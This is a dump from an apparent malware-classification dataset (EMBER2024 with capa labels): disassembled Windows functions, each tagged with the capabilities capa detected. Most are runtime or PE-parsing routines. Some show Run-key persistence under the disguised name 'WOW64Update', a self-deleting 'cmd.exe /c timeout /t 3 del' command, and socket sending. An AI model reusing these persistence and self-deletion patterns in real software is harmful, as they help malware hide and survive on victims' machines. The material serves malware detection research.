joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400056a0
Capabilities:
Send data
Send data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x898
mov r12, qword [sym.imp.WS2_32.dll_send]
xor r15d, r15d
mov esi, 8
mov ebp, dword [rsp + 0x900]
mov rbx, qword [rdx]
mov rax, r9
mov r14, r8
lea rdi, [rsp + 0x40]
mov r13, r9
bswap rax
mov qword [rsp + 0x8e0], rcx
mov qword [rsp + 0x40], rax
jmp 0x1400056ff
cdqe
add r15, rax
cmp r15, 7
ja 0x140005858
mov r8d, esi
lea rdx, [rdi + r15]
mov r9d, ebp
mov rcx, rbx
sub r8d, r15d
call r12
cmp eax, 0xffffffff
jne 0x1400056f0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rsi, [rsp + 0x470]
mov r9d, 0x400
xor edx, edx
mov edi, eax
lea rax, [rsp + 0x48]
mov ecx, 0x1300
mov qword [rsp + 0x48], 0
mov r8d, edi
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r9, qword [rsp + 0x48]
mov r8d, edi
mov rcx, rsi
mov edx, 2
call sym.tb_err
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r10, [rsp + 0x50]
mov ecx, 0x83
mov eax, dword [rsp + 0x480]
mov rdi, r10
rep movsq qword [rdi], qword [rsi]
test eax, eax
jne 0x140005879
mov esi, r13d
xor edi, edi
test r13, r13
jne 0x1400057be
jmp 0x1400058b0
cdqe
add rdi, rax
cmp rdi, r13
jae 0x1400058b0
mov r8d, esi
lea rdx, [r14 + rdi]
mov r9d, ebp
mov rcx, rbx
sub r8d, edi
call r12
cmp eax, 0xffffffff
jne 0x1400057b0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rsi, [rsp + 0x470]
mov r9d, 0x400
xor edx, edx
mov ebx, eax
lea rax, [rsp + 0x48]
mov ecx, 0x1300
mov qword [rsp + 0x48], 0
mov r8d, ebx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r9, qword [rsp + 0x48]
mov rcx, rsi
mov r8d, ebx
mov edx, 2
call sym.tb_err
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, qword [rsp + 0x8e0]
mov ecx, 0x83
rep movsq qword [rdi], qword [rsi]
jmp 0x140005890
lea r10, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r10
call sym.tb_err.constprop.0
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1400057a0
mov dword [rsp + 0x60], eax
mov rdi, qword [rsp + 0x8e0]
mov ecx, 0x83
mov rsi, r10
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x8e0]
add rsp, 0x898
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x8e0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call sym.tb_err.constprop.0
jmp 0x140005890
Function at 0x1400064e0
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rbx, rcx
mov dword [rsp + 0x44], 0
lea r8, [rsp + 0x48]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x140006518
add rsp, 0x50
pop rbx
ret
lea rax, [rsp + 0x44]
xor edx, edx
mov qword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov r9d, 2
lea r8, str.WOW64Update
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x140006568
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
add rsp, 0x50
pop rbx
ret
mov rcx, rbx
call sym.strlen
mov qword [rsp + 0x20], rbx
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
add eax, 1
mov r9d, 1
lea rdx, str.WOW64Update
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x140006552

Function at 0x1400065a0
Capabilities:
Create process on windows
Delete registry value
Persist via run registry key
Self delete

Disassembly:
push rbp
mov eax, 0x23c8
push rdi
push rsi
push rbx
call fcn.140008000
sub rsp, rax
xor edx, edx
mov r8d, 0x22c0
mov qword [rsp + 0xf0], 0
mov rbx, rcx
lea rcx, [rsp + 0x100]
mov qword [rsp + 0xf8], 0
call sym.memset
lea r8, [rsp + 0x58]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1400066b9
xor eax, eax
mov ecx, 0xc
pxor xmm0, xmm0
mov r9, rbx
lea rsi, [rsp + 0xf0]
lea rdi, [rsp + 0x88]
mov qword [rsp + 0x84], 0
mov edx, 0x22d0
lea r8, str.cmd.exe__c__timeout__t_3__del__s_
lea rbp, [rsp + 0x80]
mov qword [rsp + 0xe0], 0
rep stosq qword [rdi], rax
mov rcx, rsi
lea rdi, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x80], 0x68
call sym.snprintf
xor ecx, ecx
mov qword [rsp + 0x48], rdi
xor r9d, r9d
mov qword [rsp + 0x40], rbp
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
call sym.exit
mov rcx, qword [rsp + 0x58]
lea rdx, str.WOW64Update
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140006602
Function at 0x140007260
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400072d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140014cf4]
mov rbx, rcx
test esi, esi
jle 0x140007400
mov rax, qword [0x140014cf8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000731b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400073a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140007300
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140007422
mov rax, qword [0x140014cf8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140014cf8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140007407
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000739e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400073b0
add dword [0x140014cf4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140014cf8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000739e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140007328
mov rax, qword [0x140014cf8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140007990
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140014d60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140014d40]
test rbx, rbx
je 0x1400079ec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400079e3
test rsi, rsi
je 0x1400079e3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400079c8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140007c00
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140007c18
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140007c20
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140007c30
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140007c7d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140007c74
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140007c7f
add rax, 0x28
cmp rax, r9
jne 0x140007c60
xor eax, eax
ret

Function at 0x140007c80
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140007d10
mov rdx, qword [0x140010dc0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140007cfe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140007cfe
cmp word [rax + 0x18], 0x20b
jne 0x140007cfe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140007d10
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140007ce9
add rbx, 0x28
cmp rbx, rdi
je 0x140007d10
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140007ce0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140007d20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140010dc0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140007d40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140007d48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140007d40
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140007d9d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140007d94
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140007d40
add rax, 0x28
cmp rax, r9
jne 0x140007d80
xor eax, eax
ret

Function at 0x140007da0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140010dc0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140007dbf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140007dc8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140007dbf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140007de0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140010dc0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140007e00
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140007e08
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140007e00
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140007e50
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140007e47
test rcx, rcx
je 0x140007e00
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140007e38
xor eax, eax
ret

Function at 0x140007e60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140010dc0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140007e7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140007e88
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007ea0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140010dc0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140007ec0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140007ec8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140007ec0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140007ec0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140007f14
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140007f20
add rdx, 0x28
cmp r9, rdx
jne 0x140007f00
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140007f30
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140010dc0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140007f52
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140007f60
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140007f52
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140007f52
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140007f52
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140007fb5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140007fc8
add rdx, 0x28
cmp rdx, r10
jne 0x140007fa0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140007fd7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140007fe7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140007fbe
test ecx, ecx
jg 0x140007fd0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001d20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400029f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140027128]
test eax, eax
je 0x140002a8a
lea rax, [0x140027100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140027130]
mov qword [rbp - 8], rax
jmp 0x140002a6e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002a62
cmp qword [rbp - 0x10], 0
je 0x140002a62
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002a28
lea rax, [0x140027100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002a8b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002b90
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002bb8
mov eax, 0
jmp 0x140002c06
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002be1
mov eax, 0
jmp 0x140002c06
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002c01
mov eax, 0
jmp 0x140002c06
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002c0c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002c8a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002c81
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002c81
mov rax, qword [rbp - 8]
jmp 0x140002c9f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002c54
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140002060
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000215b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002163
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x14000219a
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002170
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021c5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x1400021eb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400021d0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a310
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
lea edi, [rax + 0x28]
test dl, dl
je 0x14000a3b5
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14000a36d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14000a360
cmp rcx, 1
jb 0x14000a3e6
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14000a383
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14001009c
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14000a350
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000b720
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14000fd60
int3
Function at 0x14000a470
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a4b5
xor al, al
jmp 0x14000a502
cmp word [rbx], 0
je 0x14000a4cd
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a4c0
cmp word [rsp + 0x30], 0
je 0x14000a4fb
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a523
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a4e0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b720
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000fd60
int3
Function at 0x14000acb0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001fd70
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002fdb4]
lea rsi, [0x140034df0]
mov rdi, rcx
test r11d, r11d
jne 0x14000ad29
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a530
test al, al
je 0x14000ae09
lea rcx, [rsp + 0x20]
call fcn.1400143ac
movsxd r11, dword [0x14002fdb4]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002fdb4], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000ad64
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ad54
add rax, 2
test ecx, ecx
jne 0x14000ad40
test edx, edx
je 0x14000ad87
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ad34
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ad70
cmp rax, 2
jne 0x14000ad8b
cmp word [rdi + 2], 0x3a
jne 0x14000ad8b
mov al, 1
jmp 0x14000ade8
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000adb6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000addd
mov bl, 1
cmp dword [0x14002fdb4], 0x400
jge 0x14000addd
mov rcx, rdi
call fcn.1400143ac
movsxd rdx, dword [0x14002fdb4]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002fdb4], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000b720
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000ab50
int3
Function at 0x14000af30
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fdb8]
test rcx, rcx
je 0x14000af6b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000af5e
mov rcx, qword [0x14002fdb8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fdb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fdc8], 0
je 0x14000b05e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029868]
mov qword [rsp + 0x80], rsi
lea rsi, [0x1400325f0]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
